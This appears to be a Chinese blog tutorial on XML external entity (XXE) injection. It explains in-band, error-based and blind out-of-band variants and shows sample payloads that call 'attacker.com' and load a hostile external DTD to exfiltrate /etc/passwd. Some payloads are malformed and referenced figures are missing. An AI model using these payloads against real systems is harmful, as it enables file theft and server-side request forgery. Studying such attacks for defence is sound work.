本文已参与「新人创作礼」活动,一起开启掘金创作之路。
一、外部实体注入攻击
外部实体注入攻击(XXE)有多种类型 主要是带内数据,基于错误和带外数据, 带内数据: xml解析后的输出会直接显示在屏幕上, 基于错误的XXE: 有点类型Blind XXE,解析结果没有其他只有一大堆错误消息, 带外(OOB)实体注入攻击: 这才是真正的盲注形式,也就是说XML解析后无任何输出响应,必须执行一些带外请求来把目标数据提取出来(Exfiltrate),所以为了测试这种盲注XXE我们可以用非文件路径的外部实体,来请求这里的Web应用, 这里示例一下带外实体注入
<? xml version="1.0"?>
<! DOCTYPE XXE [
<! ENTITY subscribe SYSTEM "http://attacker.com: >
]>
<pwn>&subscribe;</pwn>
请求发出后,我们用ncat监听到了attacker,com收到的请求,
这说明受害端有效解析了我们构造的XML,这样我们就能以受害者服务端的身份发起请求了,这种攻击方式就称为服务端请求伪造或简称SSRF,
现在我们还能从受害服务端读取显示本地文件,这种读显方式是可用于Blind XXE攻击的文件内容提取,但在这之前,我们先来说说DTD(文档类型定义),因为它在外部实体注入攻击(XXE)中扮演着关键角色,之前的示例提到过DTD,
<! DOCTYPE Pwn [
<! ENTITY subscribe SYSTEM "secret.txt">
]>
<Pwn>&subscribe;</Pwn>
他以DOCTYPE定义开始,你可能也发现,DTD并不是XML数据的一部分,他们总是在根元素的定义之上,这表明了DTD的另一个功能,呢就是DTD像实体一样可从外部加载,可在这里指定一个外部DTD的URL,程序解析时,解析器将从这个外部DTD中提取并解析内容,这种机制能构建一种结构良好的XML文档,因为他将定义和数据部份区分开来,但该功能在方便开发的同时也给攻击者带来了便利,如果可以加载一个外部DTD,呢么我们就能明白XML的另一个功能,呢就是可在DTD内来调用参数实体,
接下来,就要调用到上面这个被赋值的参数实体parameter_entity,解析器此时就会用赋值来代替这里的参数实体parameter_entity,接下来我们就能在Pwn元素中来调用general_entity实体了,这就是XML调用DTD中参数实体的大概流程,
现在我们来创建一个Blind XXE攻击载荷 (Payload)
首先 解析器会读取/etc/passwd内容,然后把它存储到passwd实体中,这里的passwd是一个参数实体而非普通实体,原因就在于我们想在DTD中实现对他的调用,再下一行黄色部分是一个通用实体,它将作为它前面wrapper参数实体的值,所以整个流程可以用相应的替换逻辑来表达,
就是像这种的
可以看到,最后变成了通用实体send,当在下面的XML文档中调用它时,他就会去请求相应的外部资源,该资源对应的文件内容也会在URL中被请求,这就是在Blind XXE中窃取文件内容的方法,
不能在实际的标记语言中来调用参数实体,但可以在同级中被当作标记语言调用,
所以,我们可以通过外部DTD来绕过它,
现在,我们在XML中来包含进一个简单的DTD文件,如此所示,
<! DOCTYPE data SYSTEM "http://example.com/external.dtd">
在DOCTYPE中无任何实体定义,但我们尝试在其中包含进入一个外部的DTD,而该DTD又包含了我们所需要的所有实体,所以这种以外部资源包含进入实体的方法,其运行机制和前述类似,而且它还能灵活地调用参数实体,
假设有这么一个XML形式的Payload
<?xml version="1.0"?>
<! DOCTYPE data SYSTEM "http://attacker.com/evil.dtd">
<data>&send;</data>
其中内置了一个外部DTD,然后我们调用一个通用实体send,而这个send实体就在这个恶意的外部DTD中,
我们来看看这个evil.dtd的具体内容,读取完Passwd文件之后,其又创建了一个名为wrapper的参数实体,通用实体send就是它的赋值,当wrapper实体在之后被调用时,
这里被替代成了passwd文件内容,
变成了URL的一部分 最终还是落在了通用实体send上,
所以我们在主XML文件中包含了这个外部DTD,他能完美替代我们想要的东西,
现在send的具体来源就清楚了,当他在这里被调用时,他就会向下面这个外部实体发送请求,但实际上他不会返回任何响应,也没必要关心它请求后的响应是否有效,因为我们已经把受害端的passwd文件渗透出来了,
可以渗透/etc/passwd
呢么/etc/fstab (系统自动挂载相关信息的配置文件,)
CDATA表示字符数据,他是一种特殊语法,可以处理中断文件,也就是说在CDATA开闭标签中的,文本部分不会被XML当作标记语言解析处理
<! [ CDATA [ ] ] >
CDATA的大概语法就是这样,
总结
XXE的用处还有很多,用它可实现拒绝服务攻击(Dos)也可实现服务端请求伪造攻击(SSRF),还可以实现远程代码执行(RCE),